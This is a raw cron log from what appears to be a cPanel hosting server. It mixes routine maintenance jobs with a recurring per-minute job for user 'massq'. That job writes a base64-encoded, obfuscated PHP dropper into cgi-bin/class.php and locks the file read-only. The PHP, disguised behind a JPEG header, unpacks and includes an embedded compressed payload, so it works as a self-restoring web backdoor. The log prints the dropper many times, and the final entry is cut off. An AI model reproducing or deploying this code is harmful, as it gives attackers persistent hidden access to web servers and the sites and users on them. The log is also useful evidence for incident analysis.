Sep 11 12:20:01 server CROND[24592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:20:01 server CROND[24595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:20:01 server CROND[24597]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:20:01 server CROND[24599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:20:01 server CROND[24602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:20:01 server CROND[24600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:20:01 server CROND[24605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:20:01 server CROND[24604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:20:01 server CROND[24603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:21:01 server CROND[25498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:21:01 server CROND[25499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:21:01 server CROND[25500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:22:01 server CROND[25923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:22:01 server CROND[25924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:22:01 server CROND[25925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:23:01 server CROND[26303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:23:01 server CROND[26305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:23:01 server CROND[26304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:24:01 server CROND[26689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:24:01 server CROND[26690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:24:01 server CROND[26691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:25:01 server CROND[27088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:25:01 server CROND[27094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:25:01 server CROND[27096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:25:01 server CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:25:01 server CROND[27099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:25:01 server CROND[27098]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 12:25:01 server CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:25:01 server CROND[27097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:26:01 server CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:26:01 server CROND[27934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:26:01 server CROND[27932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:27:01 server CROND[28442]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:27:01 server CROND[28444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:27:01 server CROND[28443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:27:01 server CROND[28447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:28:01 server CROND[28882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:28:01 server CROND[28883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:28:01 server CROND[28885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:29:01 server CROND[29261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:29:01 server CROND[29262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:29:01 server CROND[29263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:30:01 server CROND[29660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:30:01 server CROND[29662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:30:01 server CROND[29665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:30:01 server CROND[29667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:30:01 server CROND[29669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:30:01 server CROND[29663]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:30:01 server CROND[29666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:30:01 server CROND[29668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:30:01 server CROND[29670]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 12:31:01 server CROND[30504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:31:01 server CROND[30503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:31:01 server CROND[30505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVK